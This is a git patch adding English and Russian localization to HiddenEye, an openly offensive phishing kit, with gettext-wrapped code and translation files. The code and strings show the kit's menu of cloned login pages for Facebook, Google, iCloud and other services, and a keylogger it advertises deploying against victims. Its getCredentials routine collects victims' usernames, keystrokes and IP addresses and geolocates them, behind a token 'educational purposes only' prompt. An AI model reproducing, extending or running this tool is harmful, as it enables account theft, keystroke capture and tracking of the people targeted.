From 4ee71519a1156235e5b8827e380dfc63460f436c Mon Sep 17 00:00:00 2001 From: Artur Tretiak Date: Wed, 31 Oct 2018 04:28:03 +0200 Subject: [PATCH 1/4] Localization system development (WIP) New - Language basic structure New - Full English localization file New - Full Russian localization file --- .gitignore | 2 + Defs/Actions.py | 64 ++-- Defs/Checks.py | 9 +- Defs/Languages.py | 1 + HiddenEye.py | 3 +- Lang/en_US/LC_MESSAGES/hiddeneye.mo | Bin 0 -> 10267 bytes Lang/en_US/LC_MESSAGES/hiddeneye.po | 485 +++++++++++++++++++++++++++ Lang/ru_RU/LC_MESSAGES/hiddeneye.mo | Bin 0 -> 11717 bytes Lang/ru_RU/LC_MESSAGES/hiddeneye.po | 488 ++++++++++++++++++++++++++++ 9 files changed, 1016 insertions(+), 36 deletions(-) create mode 100644 Lang/en_US/LC_MESSAGES/hiddeneye.mo create mode 100644 Lang/en_US/LC_MESSAGES/hiddeneye.po create mode 100644 Lang/ru_RU/LC_MESSAGES/hiddeneye.mo create mode 100644 Lang/ru_RU/LC_MESSAGES/hiddeneye.po diff --git a/.gitignore b/.gitignore index 563c92a..017ecf2 100644 --- a/.gitignore +++ b/.gitignore @@ -26,3 +26,5 @@ Server/www/mobile\.html Server/www/usernames\.txt Settings\.ini + +ngrok\.url diff --git a/Defs/Actions.py b/Defs/Actions.py index 95bfc57..caf8972 100644 --- a/Defs/Actions.py +++ b/Defs/Actions.py @@ -9,6 +9,8 @@ from urllib.request import urlopen from subprocess import check_output from sys import stdout, argv from Defs.Configurations import readConfig, ifSettingsNotExists +from gettext import gettext as _ + RED, WHITE, CYAN, GREEN, DEFAULT = '\033[91m', '\033[46m', '\033[36m', '\033[1;32m', '\033[0m' ifSettingsNotExists() @@ -69,8 +71,8 @@ def runPhishing(page , customOption): #Phishing pages selection menu copy_tree("WebPages/VK_poll_method/", "Server/www/") def selectServer(): #Question where user must select server - print("\n {0}Please select any available server:{1}".format(RED, DEFAULT)) - print("\n {0}[{1}1{0}]{1} Ngrok\n {0}[{1}2{0}]{1} Serveo".format(RED, DEFAULT)) + print(_("\n {0}Please select any available server:{1}").format(RED, DEFAULT)) + print(_("\n {0}[{1}1{0}]{1} Ngrok\n {0}[{1}2{0}]{1} Serveo").format(RED, DEFAULT)) choice = input(" \n {0}HiddenEye >>> {1}".format(RED, DEFAULT)) @@ -114,7 +116,7 @@ def runServeo(): def runMainMenu(): #menu where user select what they wanna use system('clear') - print (''' + print (_(''' {1}<=============================================================================> @@ -130,36 +132,36 @@ def runMainMenu(): #menu where user select what they wanna use {0}[ NOW WITH LIVE VICTIM ATTACK INFORMATION ] {0}A KEYLOGGER WILL BE DEPLOYED FOR YOU, TO CAPTURE EVERY KEYSTROKE ] <=============================================================================> - '''.format(GREEN, DEFAULT, CYAN, RED)) + ''').format(GREEN, DEFAULT, CYAN, RED)) if 256 != system('which php'): #Checking if user have PHP print (" -----------------------".format(CYAN, DEFAULT)) - print ("[PHP INSTALLATION FOUND]".format(CYAN, DEFAULT)) + print (_("[PHP INSTALLATION FOUND]").format(CYAN, DEFAULT)) print (" -----------------------".format(CYAN, DEFAULT)) else: - print (" --{0}>{1} PHP NOT FOUND: \n {0}*{1} Please install PHP and run me again.http://www.php.net/".format(CYAN, DEFAULT)) + print (_(" --{0}>{1} PHP NOT FOUND: \n {0}*{1} Please install PHP and run me again.http://www.php.net/").format(CYAN, DEFAULT)) exit(0) for i in range(101): sleep(0.05) - stdout.write("\r{0}[{1}*{0}]{1} HiddenEye is Opening. Please Wait... %d%%".format(RED, DEFAULT) % i) + stdout.write(_("{0}[{1}*{0}]{1} HiddenEye is Opening. Please Wait... %d%%").format(RED, DEFAULT) % i) stdout.flush() - if input("\n{2}[{1}!{2}]{1} Do you agree to use this tool for educational purposes only? ({2}y{1}/{0}n{1})\n{2}HiddenEye >>> {1}".format(CYAN, DEFAULT, RED)).upper() != 'Y': #Question where user must accept education purposes + if input(_("\n{2}[{1}!{2}]{1} Do you agree to use this tool for educational purposes only? ({2}y{1}/{0}n{1})\n{2}HiddenEye >>> {1}").format(CYAN, DEFAULT, RED)).upper() != 'Y': #Question where user must accept education purposes system('clear') - print ('\n\n[ {0}YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU CAN ONLY USE IT FOR EDUCATIONAL PURPOSE. GOOD BYE!{1} ]\n\n'.format(RED, DEFAULT)) + print (_('\n\n[ {0}YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU CAN ONLY USE IT FOR EDUCATIONAL PURPOSE. GOOD BYE!{1} ]\n\n').format(RED, DEFAULT)) exit(0) - option = input("\nSELECT ANY ATTACK VECTOR FOR YOUR VICTIM:\n\n {0}[{1}1{0}]{1} Facebook\n\n {0}[{1}2{0}]{1} Google\n\n {0}[{1}3{0}]{1} LinkedIn\n\n {0}[{1}4{0}]{1} GitHub\n\n {0}[{1}5{0}]{1} StackOverflow\n\n {0}[{1}6{0}]{1} WordPress\n\n {0}[{1}7{0}]{1} Twitter\n\n {0}[{1}8{0}]{1} Instagram\n\n {0}[{1}9{0}]{1} Snapchat\n\n {0}[{1}10{0}]{1} Yahoo\n\n {0}[{1}11{0}]{1} Twitch\n\n {0}[{1}12{0}]{1} Microsoft\n\n {0}[{1}13{0}]{1} Steam\n\n {0}[{1}14{0}]{1} VK\n\n {0}[{1}15{0}]{1} iCloud\n\n{0}HiddenEye >>> {1}".format(RED, DEFAULT)) + option = input(_("\nSELECT ANY ATTACK VECTOR FOR YOUR VICTIM:\n\n {0}[{1}1{0}]{1} Facebook\n\n {0}[{1}2{0}]{1} Google\n\n {0}[{1}3{0}]{1} LinkedIn\n\n {0}[{1}4{0}]{1} GitHub\n\n {0}[{1}5{0}]{1} StackOverflow\n\n {0}[{1}6{0}]{1} WordPress\n\n {0}[{1}7{0}]{1} Twitter\n\n {0}[{1}8{0}]{1} Instagram\n\n {0}[{1}9{0}]{1} Snapchat\n\n {0}[{1}10{0}]{1} Yahoo\n\n {0}[{1}11{0}]{1} Twitch\n\n {0}[{1}12{0}]{1} Microsoft\n\n {0}[{1}13{0}]{1} Steam\n\n {0}[{1}14{0}]{1} VK\n\n {0}[{1}15{0}]{1} iCloud\n\n{0}HiddenEye >>> {1}").format(RED, DEFAULT)) if option == '1': loadModule('Facebook') - customOption = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/login_with)\n\n {0}[{1}3{0}]{1} Facebook Phishing- Fake Security issue(security_mode) \n\n {0}[{1}4{0}]{1} Facebook Phising-Messenger Credentials(messenger_mode) \n\n{0}HiddenEye >>> {1}".format(RED, DEFAULT)) + customOption = input(_("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/login_with)\n\n {0}[{1}3{0}]{1} Facebook Phishing- Fake Security issue(security_mode) \n\n {0}[{1}4{0}]{1} Facebook Phising-Messenger Credentials(messenger_mode) \n\n{0}HiddenEye >>> {1}").format(RED, DEFAULT)) runPhishing('Facebook', customOption) elif option == '2': loadModule('Google') - customOption = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n\n {0}[{1}3{0}]{1} New Google Web\n\n{0}HiddenEye >>> {1}".format(RED, DEFAULT)) + customOption = input(_("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n\n {0}[{1}3{0}]{1} New Google Web\n\n{0}HiddenEye >>> {1}").format(RED, DEFAULT)) runPhishing('Google', customOption) elif option == '3': loadModule('LinkedIn') @@ -183,7 +185,7 @@ def runMainMenu(): #menu where user select what they wanna use runPhishing('Twitter', customOption) elif option == '8': loadModule('Instagram') - customOption = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Instagram Web Page Phishing\n\n {0}[{1}2{0}]{1} Instagram Autoliker Phising (After submit redirects to original autoliker)\n\n{0}HiddenEye >>> {1}".format(RED, DEFAULT)) + customOption = input(_("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard Instagram Web Page Phishing\n\n {0}[{1}2{0}]{1} Instagram Autoliker Phising (After submit redirects to original autoliker)\n\n{0}HiddenEye >>> {1}").format(RED, DEFAULT)) runPhishing('Instagram', customOption) elif option == '9': loadModule('Snapchat') @@ -207,7 +209,7 @@ def runMainMenu(): #menu where user select what they wanna use runPhishing('Steam', customOption) elif option == '14': loadModule('VK') - customOption = input("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard VK Web Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n\n{0}HiddenEye >>> {1}".format(RED, DEFAULT)) + customOption = input(_("\nOperation mode:\n\n {0}[{1}1{0}]{1} Standard VK Web Page Phishing\n\n {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n\n{0}HiddenEye >>> {1}").format(RED, DEFAULT)) runPhishing('VK', customOption) elif option == '15': loadModule('iCloud') @@ -217,14 +219,14 @@ def runMainMenu(): #menu where user select what they wanna use exit(0) def loadModule(module): #This one just show text.. - print (''' {0} - [{1}*{0}] module loaded. Building site...{0}'''.format(RED, DEFAULT)) + print (_(''' {0} + [{1}*{0}] module loaded. Building site...{0}''').format(RED, DEFAULT)) def inputCustom(): #Question where user can input custom web-link - print("\n (Choose Wisely As Your Victim Will Redirect to This Link)".format(RED, DEFAULT)) - print("\n (Leave Blank To Loop The Phishing Page)".format(RED, DEFAULT)) - print("\n {0}Insert a custom redirect url:".format(RED, DEFAULT)) - custom = input("\n {0}CUSTOM URL>>> {1}".format(RED, DEFAULT)) + print(_("\n (Choose Wisely As Your Victim Will Redirect to This Link)").format(RED, DEFAULT)) + print(_("\n (Leave Blank To Loop The Phishing Page)").format(RED, DEFAULT)) + print(_("\n {0}Insert a custom redirect url:").format(RED, DEFAULT)) + custom = input(_("\n {0}CUSTOM URL>>> {1}").format(RED, DEFAULT)) if 'http://' in custom or 'https://' in custom: pass else: @@ -255,7 +257,7 @@ def runServer(): def endMessage(): #Message when HiddenEye exit system('clear') - print (''' + print (_(''' {1}_....~~~~=====~~~~...._ .'========={3}/----=\{1}=========> /:========={3}/-----====\{1} @@ -266,19 +268,19 @@ def endMessage(): #Message when HiddenEye exit {3}HIDDEN EYE {3}BY: DARKSEC TEAM {0}THANKS FOR USING IT. HELP US TO MAKE IT MORE USEFUL - {3}https://github.com/DarkSecDevelopers/HiddenEye '''.format(GREEN, DEFAULT, CYAN, RED)) + {3}https://github.com/DarkSecDevelopers/HiddenEye ''').format(GREEN, DEFAULT, CYAN, RED)) def getCredentials(): - print("{0}[{1}*{0}]{1} Waiting for credentials//Keystrokes//Victim's device info. \n".format(CYAN, DEFAULT)) + print(_("{0}[{1}*{0}]{1} Waiting for credentials//Keystrokes//Victim's device info. \n").format(CYAN, DEFAULT)) while True: with open('Server/www/usernames.txt') as creds: lines = creds.read().rstrip() if len(lines) != 0: writeLog('======================================================================'.format(RED, DEFAULT)) - writeLog(' {0}[ CREDENTIALS FOUND ]{1}:\n {0}%s{1}'.format(GREEN, DEFAULT) % lines) + writeLog(_(' {0}[ CREDENTIALS FOUND ]{1}:\n {0}%s{1}').format(GREEN, DEFAULT) % lines) system('rm -rf Server/www/usernames.txt && touch Server/www/usernames.txt') writeLog('======================================================================'.format(RED, DEFAULT)) @@ -288,21 +290,21 @@ def getCredentials(): with open('Server/www/ip.txt') as creds: lines = creds.read().rstrip() if len(lines) != 0: - ip = re.match('Victim Public IP: (.*?)\n', lines).group(1) + ip = re.match(_('Victim Public IP: (.*?)\n'), lines).group(1) resp = urlopen('https://ipinfo.io/%s/json' % ip) ipinfo = json.loads(resp.read().decode(resp.info().get_param('charset') or 'utf-8')) if 'bogon' in ipinfo: log('======================================================================'.format(RED, DEFAULT)) - log(' \n{0}[ VICTIM IP BONUS ]{1}:\n {0}%s{1}'.format(GREEN, DEFAULT) % lines) + log(_(' \n{0}[ VICTIM IP BONUS ]{1}:\n {0}%s{1}').format(GREEN, DEFAULT) % lines) else: matchObj = re.match('^(.*?),(.*)$', ipinfo['loc']) latitude = matchObj.group(1) longitude = matchObj.group(2) writeLog('======================================================================'.format(RED, DEFAULT)) - writeLog(' \n{0}[ VICTIM INFO FOUND ]{1}:\n {0}%s{1}'.format(GREEN, DEFAULT) % lines) - writeLog(' \n{0}Longitude: %s \nLatitude: %s{1}'.format(GREEN, DEFAULT) % (longitude, latitude)) - writeLog(' \n{0}ISP: %s \nCountry: %s{1}'.format(GREEN, DEFAULT) % (ipinfo['org'], ipinfo['country'])) - writeLog(' \n{0}Region: %s \nCity: %s{1}'.format(GREEN, DEFAULT) % (ipinfo['region'], ipinfo['city'])) + writeLog(_(' \n{0}[ VICTIM INFO FOUND ]{1}:\n {0}%s{1}').format(GREEN, DEFAULT) % lines) + writeLog(_(' \n{0}Longitude: {2} \nLatitude: {3}{1}').format(GREEN, DEFAULT, longitude, latitude)) + writeLog(_(' \n{0}ISP: {2} \nCountry: {3}{1}').format(GREEN, DEFAULT, ipinfo['org'], ipinfo['country'])) + writeLog(_(' \n{0}Region: {2} \nCity: {3}{1}').format(GREEN, DEFAULT, ipinfo['region'], ipinfo['city'])) system('rm -rf Server/www/ip.txt && touch Server/www/ip.txt') writeLog('======================================================================'.format(RED, DEFAULT)) @@ -312,7 +314,7 @@ def getCredentials(): lines = creds.read().rstrip() if len(lines) != 0: writeLog('______________________________________________________________________'.format(RED, DEFAULT)) - writeLog(' {0}[ GETTING PRESSED KEYS ]{1}:\n {0}%s{1}'.format(GREEN, DEFAULT) % lines) + writeLog(_(' {0}[ GETTING PRESSED KEYS ]{1}:\n {0}%s{1}').format(GREEN, DEFAULT) % lines) system('rm -rf Server/www/KeyloggerData.txt && touch Server/www/KeyloggerData.txt') writeLog('______________________________________________________________________'.format(RED, DEFAULT)) diff --git a/Defs/Checks.py b/Defs/Checks.py index 414b628..ad39621 100644 --- a/Defs/Checks.py +++ b/Defs/Checks.py @@ -5,30 +5,31 @@ from os import path, system from subprocess import check_output from platform import system as systemos, architecture from wget import download +from gettext import gettext as _ RED, GREEN, DEFAULT = '\033[91m', '\033[1;32m', '\033[0m' def checkConnection(host='http://duckduckgo.com'): #Connection check try: urlopen(host) - print("{0}Successful connection!{1}".format(GREEN, DEFAULT)) + print(_("{0}Successful connection!{1}").format(GREEN, DEFAULT)) return True except: return False if checkConnection() == False: - print ('''{1} + print (_('''{1} _ _ . ___ ___ ___ _ _ {0}___ _ _ ___{1} |__| | ] | ] | |__ |\ | {0}|__ \__/ |__{1} | | | ]__| ]__| |__ | \| {0}|__ || |__{1} {0}[{1}!{0}]{1} Network error. Verify your connection.\n -'''.format(RED, DEFAULT)) +''').format(RED, DEFAULT)) exit(0) def checkNgrok(): #Ngrok check if path.isfile('Server/ngrok') == False: #Is Ngrok downloaded? - print('[*] Downloading Ngrok...') + print(_('[*] Downloading Ngrok...')) if 'Android' in str(check_output(('uname', '-a'))): filename = 'ngrok-stable-linux-arm.zip' else: diff --git a/Defs/Languages.py b/Defs/Languages.py index 0d63993..4699f67 100644 --- a/Defs/Languages.py +++ b/Defs/Languages.py @@ -1 +1,2 @@ #WILL BE SOON!!! +#Work in process!!! diff --git a/HiddenEye.py b/HiddenEye.py index da056bf..c7932de 100644 --- a/HiddenEye.py +++ b/HiddenEye.py @@ -1,12 +1,13 @@ #!/usr/bin/python3 #HiddenEye by Open Source Community import multiprocessing +import gettext +from gettext import gettext as _ from Defs.Checks import * from Defs.Configurations import * from Defs.Actions import * - RED, WHITE, CYAN, GREEN, DEFAULT = '\033[91m', '\033[46m', '\033[36m', '\033[1;32m', '\033[0m' checkConnection() diff --git a/Lang/en_US/LC_MESSAGES/hiddeneye.mo b/Lang/en_US/LC_MESSAGES/hiddeneye.mo new file mode 100644 index 0000000000000000000000000000000000000000..e6ed90c31284be4f3c8d9d66eea68f67cd70b80b GIT binary patch literal 10267 zcmeHMOKf9T8NQU3hZ#!ggO>L{i0LFV_?5K7)YD9H?3=`jV;lQALr6yE#y*K}b90Y% z9~s<9Dj|f#vRxFm17cN##1g@t4GSd1iUkV<3l^-pMTqaek8|xL)6R&IK*C4k`*gblbZGx+CP61G_+s+ zl&1M;U-)!n)AxXv(7qS9e+!&L`)|M(flofIX$!!YftP_p;1%Foz!!kOiSds>_U|9S zSAdykG_4M-0^b9^4g4j>|G~47zt`Xl`+EgS?C+0(?C&oSD2~tHfzJb<`Eum%RUrG@ z0J6Vt0NLMnf$XoK$ls?fM*fx&B=+|YK=${iUyb~I9?r7A*YM#v*#WY@cY*Bh&wvZS z-vQa*e*xLw7r|tIzZv7}K=$|hK=$_@kp2A=ko~<3Wegvd&&T)?Ai}Rb9=92|j}PPb z6n+SeDxXs|_uIl|%e=+?WyHih3jg@qncydON1EH9c<4w$YC^IRSYB2S| z?V0XB9`*x?5KtDTIurIy_Q1j@5h<;m7Kv?s#LF`KC`*Q|f9P_A6;Ob8IbbnHZqxEs zsakHYcl65Lg_E;=-z}VMQ=@r{ZqlaDZ-uOy z5xS{YyOl6LFg*wQ={y#U17O!r0;d4jB1>DE*I&@_xN^!<@n%IEhj ze;DlM`tmSeHQj@b=vT#&u;oa&UVhCQ41}YPMW}_Wn5zt>^aS0qJYkQi?9rACT-vny zzI6zyZBtteELZe>@+BEV%cHvG9L%$BU6@CLmTl8HAVX4J$`K?4wIDULoPBDU`+_Cm zW2M_Mnj6$@*Kgju$(wgXt~s7?eKM&Zc)mO&HyJE&?NTJtvV{o?VILb|I%6`AOv^TR zZ6>-$!Y!%pwoxl$wA(;x?7Q+H9GuAu3Aw{MQp+?E5!1J%Lx*x8N|;7SOm)!lO=n=b z1A>*lx$l~Yh}aFiQa+|?YJgO_9Qe|<4ul(ub42FKdp??8uzP6v%3F_PD_v{fa!i}d zL~99XDV_JVLDI2`x#pv9GOmE43x~=NZNLfLz1^84C>uMLcx+GI*Umh8{!VF zO1Y0|Kve!4re<3(mD)%@4(*2UhjK8-vhW+3H#J>eNhaIDFcb3Ngxg`DzUNq8N{9QB8$ zpR$UDgtuj4Q=MR_9f^nP4<|S(8XH#Mm7d(2>`z6c;|ud}LQBPCbA5uUf?-u`84S)@ zkkPh_ix}^67lGk6S(P-F0bzd=g7={So2}3Lyf39qd(tH_2>RhpiOp#gxFZ}G9!bX@ zzeaQDWsKhP@ZABEP@NuoXu_bqpCd zC#2e9A6s_P57y~)C)>&WkuQ$O&~Bqj>}4s;nM5%nlXy&hMRPe|l&G9_%FGO2ak>mAcE-KOLN z0v+$5#ai6h>Gkr2%9Iw1LyMKePpCyZsaE)A5^E_F!`o8)i6eLs7%rcN@b5_XfQ0Kx zH%FVowf4rmq7W7p`y8&|EmyvdnaI`#SqOPy77xSwm>7#pt7&9$T!hOkTQz;Gf`vly zdbU`|E*7bDUoWINI1Q2C$mx8&{M;UxdK+P=In`!naryekn{K?}6_H0F-tSA8`I>}Y_hj_T*6&L9x za2_F%i6xb&vXi?(In7Vn%)=gW`hhcIt8b#7YQ?qt5R~Gy*mP_5C^!9ZHbrv>{X5* vJZG\n" +"Language-Team: \n" +"Language: en_US\n" +"MIME-Version: 1.0\n" +"Content-Type: text/plain; charset=UTF-8\n" +"Content-Transfer-Encoding: 8bit\n" +"X-Generator: Poedit 2.2\n" +"X-Poedit-Basepath: ../../..\n" +"Plural-Forms: nplurals=2; plural=(n != 1);\n" +"X-Poedit-SearchPath-0: Lang\n" +"X-Poedit-SearchPath-1: Defs\n" + +#: Defs/Actions.py:74 +#, python-brace-format +msgid "" +"\n" +" {0}Please select any available server:{1}" +msgstr "" +"\n" +" {0}Please select any available server:{1}" + +#: Defs/Actions.py:75 +#, python-brace-format +msgid "" +"\n" +" {0}[{1}1{0}]{1} Ngrok\n" +" {0}[{1}2{0}]{1} Serveo" +msgstr "" +"\n" +" {0}[{1}1{0}]{1} Ngrok\n" +" {0}[{1}2{0}]{1} Serveo" + +#: Defs/Actions.py:119 +#, python-brace-format +msgid "" +"\n" +"\n" +"\n" +"{1}" +"<=============================================================================>\n" +" || " +"||\n" +" {1}|| ██ ██ ██ ██████ ██████ ███████ ███ ██ {3}███████ ██ ██ " +"███████ {1}||\n" +" {1}|| ██ ██ ██ ██ ██ ██ ██ ██ ████ ██ {3}██ ██ ██ " +"██ {1}||\n" +" {1}|| ███████ ██ ██ ██ ██ ██ ███████ ██ ██ ██ {3}███████ ████ " +"███████ {1}||\n" +" {1}|| ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ {3}██ ██ " +"██ {1}||\n" +" {1}|| ██ ██ ██ ██████ ██████ ███████ ██ ███ {3}███████ ██ " +"███████ {1}||\n" +" || " +"||\n" +" -----------------------------------------------------------------------------\n" +" v{3}0{1}.{3}1{1}.{3}" +"0{1} BY:DARKSEC{2}\n" +" {0}[ NOW WITH LIVE VICTIM ATTACK INFORMATION ]\n" +" {0}A KEYLOGGER WILL BE DEPLOYED FOR YOU, TO CAPTURE EVERY " +"KEYSTROKE ]\n" +"<=============================================================================>\n" +" " +msgstr "" +"\n" +"\n" +"\n" +"{1}" +"<=============================================================================>\n" +" || " +"||\n" +" {1}|| ██ ██ ██ ██████ ██████ ███████ ███ ██ {3}███████ ██ ██ " +"███████ {1}||\n" +" {1}|| ██ ██ ██ ██ ██ ██ ██ ██ ████ ██ {3}██ ██ ██ " +"██ {1}||\n" +" {1}|| ███████ ██ ██ ██ ██ ██ ███████ ██ ██ ██ {3}███████ ████ " +"███████ {1}||\n" +" {1}|| ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ {3}██ ██ " +"██ {1}||\n" +" {1}|| ██ ██ ██ ██████ ██████ ███████ ██ ███ {3}███████ ██ " +"███████ {1}||\n" +" || " +"||\n" +" -----------------------------------------------------------------------------\n" +" v{3}0{1}.{3}1{1}.{3}" +"0{1} BY:DARKSEC{2}\n" +" {0}[ NOW WITH LIVE VICTIM ATTACK INFORMATION ]\n" +" {0}A KEYLOGGER WILL BE DEPLOYED FOR YOU, TO CAPTURE EVERY " +"KEYSTROKE ]\n" +"<=============================================================================>\n" +" " + +#: Defs/Actions.py:150 +#, python-format, python-brace-format +msgid "{0}[{1}*{0}]{1} HiddenEye is Opening. Please Wait... %d%%" +msgstr "{0}[{1}*{0}]{1} HiddenEye is Opening. Please Wait... %d%%" + +#: Defs/Actions.py:153 +#, python-brace-format +msgid "" +"\n" +"{2}[{1}!{2}]{1} Do you agree to use this tool for educational purposes only? " +"({2}y{1}/{0}n{1})\n" +"{2}HiddenEye >>> {1}" +msgstr "" +"\n" +"{2}[{1}!{2}]{1} Do you agree to use this tool for educational purposes only? " +"({2}y{1}/{0}n{1})\n" +"{2}HiddenEye >>> {1}" + +#: Defs/Actions.py:155 +#, python-brace-format +msgid "" +"\n" +"\n" +"[ {0}YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU CAN ONLY USE IT FOR " +"EDUCATIONAL PURPOSE. GOOD BYE!{1} ]\n" +"\n" +msgstr "" +"\n" +"\n" +"[ {0}YOU ARE NOT AUTHORIZED TO USE THIS TOOL.YOU CAN ONLY USE IT FOR " +"EDUCATIONAL PURPOSE. GOOD BYE!{1} ]\n" +"\n" + +#: Defs/Actions.py:157 +#, python-brace-format +msgid "" +"\n" +"SELECT ANY ATTACK VECTOR FOR YOUR VICTIM:\n" +"\n" +" {0}[{1}1{0}]{1} Facebook\n" +"\n" +" {0}[{1}2{0}]{1} Google\n" +"\n" +" {0}[{1}3{0}]{1} LinkedIn\n" +"\n" +" {0}[{1}4{0}]{1} GitHub\n" +"\n" +" {0}[{1}5{0}]{1} StackOverflow\n" +"\n" +" {0}[{1}6{0}]{1} WordPress\n" +"\n" +" {0}[{1}7{0}]{1} Twitter\n" +"\n" +" {0}[{1}8{0}]{1} Instagram\n" +"\n" +" {0}[{1}9{0}]{1} Snapchat\n" +"\n" +" {0}[{1}10{0}]{1} Yahoo\n" +"\n" +" {0}[{1}11{0}]{1} Twitch\n" +"\n" +" {0}[{1}12{0}]{1} Microsoft\n" +"\n" +" {0}[{1}13{0}]{1} Steam\n" +"\n" +" {0}[{1}14{0}]{1} VK\n" +"\n" +" {0}[{1}15{0}]{1} iCloud\n" +"\n" +"{0}HiddenEye >>> {1}" +msgstr "" +"\n" +"SELECT ANY ATTACK VECTOR FOR YOUR VICTIM:\n" +"\n" +" {0}[{1}1{0}]{1} Facebook\n" +"\n" +" {0}[{1}2{0}]{1} Google\n" +"\n" +" {0}[{1}3{0}]{1} LinkedIn\n" +"\n" +" {0}[{1}4{0}]{1} GitHub\n" +"\n" +" {0}[{1}5{0}]{1} StackOverflow\n" +"\n" +" {0}[{1}6{0}]{1} WordPress\n" +"\n" +" {0}[{1}7{0}]{1} Twitter\n" +"\n" +" {0}[{1}8{0}]{1} Instagram\n" +"\n" +" {0}[{1}9{0}]{1} Snapchat\n" +"\n" +" {0}[{1}10{0}]{1} Yahoo\n" +"\n" +" {0}[{1}11{0}]{1} Twitch\n" +"\n" +" {0}[{1}12{0}]{1} Microsoft\n" +"\n" +" {0}[{1}13{0}]{1} Steam\n" +"\n" +" {0}[{1}14{0}]{1} VK\n" +"\n" +" {0}[{1}15{0}]{1} iCloud\n" +"\n" +"{0}HiddenEye >>> {1}" + +#: Defs/Actions.py:160 +#, python-brace-format +msgid "" +"\n" +"Operation mode:\n" +"\n" +" {0}[{1}1{0}]{1} Standard Page Phishing\n" +"\n" +" {0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/" +"login_with)\n" +"\n" +" {0}[{1}3{0}]{1} Facebook Phishing- Fake Security issue(security_mode) \n" +"\n" +" {0}[{1}4{0}]{1} Facebook Phising-Messenger Credentials(messenger_mode) \n" +"\n" +"{0}HiddenEye >>> {1}" +msgstr "" +"\n" +"Operation mode:\n" +"\n" +" {0}[{1}1{0}]{1} Standard Page Phishing\n" +"\n" +" {0}[{1}2{0}]{1} Advanced Phishing-Poll Ranking Method(Poll_mode/" +"login_with)\n" +"\n" +" {0}[{1}3{0}]{1} Facebook Phishing- Fake Security issue(security_mode) \n" +"\n" +" {0}[{1}4{0}]{1} Facebook Phising-Messenger Credentials(messenger_mode) \n" +"\n" +"{0}HiddenEye >>> {1}" + +#: Defs/Actions.py:164 +#, python-brace-format +msgid "" +"\n" +"Operation mode:\n" +"\n" +" {0}[{1}1{0}]{1} Standard Page Phishing\n" +"\n" +" {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n" +"\n" +" {0}[{1}3{0}]{1} New Google Web\n" +"\n" +"{0}HiddenEye >>> {1}" +msgstr "" +"\n" +"Operation mode:\n" +"\n" +" {0}[{1}1{0}]{1} Standard Page Phishing\n" +"\n" +" {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n" +"\n" +" {0}[{1}3{0}]{1} New Google Web\n" +"\n" +"{0}HiddenEye >>> {1}" + +#: Defs/Actions.py:188 +#, python-brace-format +msgid "" +"\n" +"Operation mode:\n" +"\n" +" {0}[{1}1{0}]{1} Standard Instagram Web Page Phishing\n" +"\n" +" {0}[{1}2{0}]{1} Instagram Autoliker Phising (After submit redirects to " +"original autoliker)\n" +"\n" +"{0}HiddenEye >>> {1}" +msgstr "" +"\n" +"Operation mode:\n" +"\n" +" {0}[{1}1{0}]{1} Standard Instagram Web Page Phishing\n" +"\n" +" {0}[{1}2{0}]{1} Instagram Autoliker Phising (After submit redirects to " +"original autoliker)\n" +"\n" +"{0}HiddenEye >>> {1}" + +#: Defs/Actions.py:212 +#, python-brace-format +msgid "" +"\n" +"Operation mode:\n" +"\n" +" {0}[{1}1{0}]{1} Standard VK Web Page Phishing\n" +"\n" +" {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n" +"\n" +"{0}HiddenEye >>> {1}" +msgstr "" +"\n" +"Operation mode:\n" +"\n" +" {0}[{1}1{0}]{1} Standard VK Web Page Phishing\n" +"\n" +" {0}[{1}2{0}]{1} Advanced Phishing(poll_mode/login_with)\n" +"\n" +"{0}HiddenEye >>> {1}" + +#: Defs/Actions.py:222 +#, python-brace-format +msgid "" +" {0}\n" +" [{1}*{0}] module loaded. Building site...{0}" +msgstr "" +" {0}\n" +" [{1}*{0}] module loaded. Building site...{0}" + +#: Defs/Actions.py:226 +msgid "" +"\n" +" (Choose Wisely As Your Victim Will Redirect to This Link)" +msgstr "" +"\n" +" (Choose Wisely As Your Victim Will Redirect to This Link)" + +#: Defs/Actions.py:227 +msgid "" +"\n" +" (Leave Blank To Loop The Phishing Page)" +msgstr "" +"\n" +" (Leave Blank To Loop The Phishing Page)" + +#: Defs/Actions.py:228 +#, python-brace-format +msgid "" +"\n" +" {0}Insert a custom redirect url:" +msgstr "" +"\n" +" {0}Insert a custom redirect url:" + +#: Defs/Actions.py:229 +#, python-brace-format +msgid "" +"\n" +" {0}CUSTOM URL>>> {1}" +msgstr "" +"\n" +" {0}CUSTOM URL >>> {1}" + +#: Defs/Actions.py:260 +#, python-brace-format +msgid "" +"\n" +" {1}_....~~~~=====~~~~...._\n" +" .'========={3}/----=\\{1}=========>\n" +" /:========={3}/-----====\\{1}\n" +" |=========={3}|-----======|{1}==========>\n" +" \\:========={3}\\---======/{1}\n" +" \\=========={3}\\=====/{1}==========>\n" +" ````~~~~=======~~~~````\n" +"\n" +" {3}HIDDEN EYE {3}BY: DARKSEC TEAM\n" +" {0}THANKS FOR USING IT. HELP US TO MAKE IT MORE USEFUL\n" +" {3}https://github.com/DarkSecDevelopers/HiddenEye " +msgstr "" +"\n" +" 